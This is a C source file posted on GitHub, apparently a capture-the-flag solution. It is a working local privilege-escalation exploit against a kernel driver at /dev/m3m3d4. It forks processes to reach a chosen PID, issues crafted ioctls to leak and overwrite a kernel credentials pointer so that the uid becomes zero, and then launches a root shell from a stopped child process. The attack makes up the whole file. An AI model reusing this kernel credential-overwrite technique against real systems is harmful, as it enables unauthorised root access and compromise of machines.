config

March 15, 2016 ยท View on GitHub

#include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> #include <signal.h>

void *do_ioctl(int fd, int num, pid_t pid, unsigned int arg1, unsigned int arg2); int child(); int child2(); int child3();

struct user_buf { unsigned int len; void *ptr; };

struct ioctl_req { pid_t pid; unsigned int arg1; unsigned int arg2; };

int main(int argc, char **argv) { pid_t pid, mypid, child2_pid, pid_tmp, child3_pid; char buf[10000]; char buf2[10000]; char zerobuf[10000]; int child_status; unsigned int creds_ptr; unsigned int user_buf_ptr; unsigned int cmd_ptr; struct user_buf user_buf1;

memset(buf2, 0, 10000);
memset(zerobuf, 0, 10000);

mypid = getpid();

pid = fork();

if (pid < 0) {
	printf("fork fail\n");
	return 1;
}

if (!pid)
	return child();

child2_pid = pid + 1447;

printf("Parent pid: %d, child: %d, generating %d\n", mypid, pid, child2_pid);

while(pid_tmp < (child2_pid - 1))
{
	pid_tmp = fork();
	if (pid_tmp < 0) {
		printf("fork2 fail\n");
		return 1;
	}
	
	if (!pid_tmp)
		return 0;

	waitpid(pid_tmp, child_status, 0);
}

pid_tmp = fork();
if (pid_tmp < 0) {
	printf("fork3 fail\n");
	return 1;
}

if (!pid_tmp)
	return child2();

printf("Got 2nd child:%d\n", pid_tmp);

child3_pid = fork();
if (child3_pid < 0) {
	printf("child3 fork fail\n");
	return 1;
}

if (!child3_pid)
	return child3();

printf("3rd child created: %d\n", child3_pid);

int fd = open("/dev/m3m3d4", O_RDWR);
if (fd < 0) {
	printf("Error opening fd\n");
	return 1;
}

do_ioctl(fd, 1340, pid, (unsigned int) buf, (unsigned int) NULL);
printf("uid:%d\n", *((unsigned int *) (buf+4)));
sleep(2);

wait(&child_status);

printf("ioctl 1339 result:%d\n", ioctl(fd, 1339, pid));

printf("Storing main process data...\n");

memset(buf, 0, 16);
*((pid_t *) buf) = child2_pid;
do_ioctl(fd, 1343, mypid, 16, (unsigned int) buf);

printf("Updating 2nd child info to set creds pointer...\n");
printf("ioctl 1339 result:%d\n", ioctl(fd, 1339, child2_pid));

printf("Getting 2nd child pid ...\n");
do_ioctl(fd, 1340, child2_pid, (unsigned int) buf, (unsigned int) NULL);
printf("uid:%d\n", *((unsigned int *) (buf+4)));

printf("Setting child2 data to allocate user data ptr ...\n");
do_ioctl(fd, 1343, child2_pid, 8, (unsigned int) zerobuf);

printf("Reading data ...\n");

do_ioctl(fd, 1342, mypid, (unsigned int) buf2, 0);

cmd_ptr = *((unsigned int *) (buf2+8));
creds_ptr = *((unsigned int *) (buf2+12));
user_buf_ptr = *((unsigned int *) (buf2+16));
printf("Got creds ptr:0x%08x\n", creds_ptr);
printf("Got user data ptr:0x%08x\n", user_buf_ptr);


user_buf1.len = 32;
user_buf1.ptr = (void *) creds_ptr + 4;

printf("Setting child3 data ...\n");
do_ioctl(fd, 1343, child3_pid, 8, (unsigned int) &user_buf1);

printf("Storing main process data to set final dst user data ptr...\n");

memset(buf, 0, 16);
*((pid_t *) buf) = child2_pid;
*((unsigned int *) (buf + 4)) = cmd_ptr;
*((unsigned int *) (buf + 8)) = creds_ptr;

// crafted struct addr *((unsigned int *) (buf + 12)) = user_buf_ptr + 8;

do_ioctl(fd, 1343, mypid, 16, (unsigned int) buf);

printf("Getting root ...\n");
do_ioctl(fd, 1343, child2_pid, 32, (unsigned int) zerobuf);

printf("Checking 2nd child uid ...\n");
memset(buf, 0, 16);
do_ioctl(fd, 1340, child2_pid, (unsigned int) buf, (unsigned int) NULL);
printf("uid:%d\n", *((unsigned int *) (buf+4)));

kill(child2_pid, SIGCONT);
waitpid(child2_pid, &child_status, 0);

}

void *do_ioctl(int fd, int num, pid_t pid, unsigned int arg1, unsigned int arg2) { struct ioctl_req req; int res; req.pid = pid; req.arg1 = arg1; req.arg2 = arg2;

res = ioctl(fd, num, &req);

printf("ioctl %d result:%d\n", num, res);

}

int child() { sleep(1); return 0; }

int child2() { pid_t pid = getpid(); kill(pid, SIGSTOP); system("/bin/sh"); }

int child3() { pid_t pid = getpid(); kill(pid, SIGSTOP); }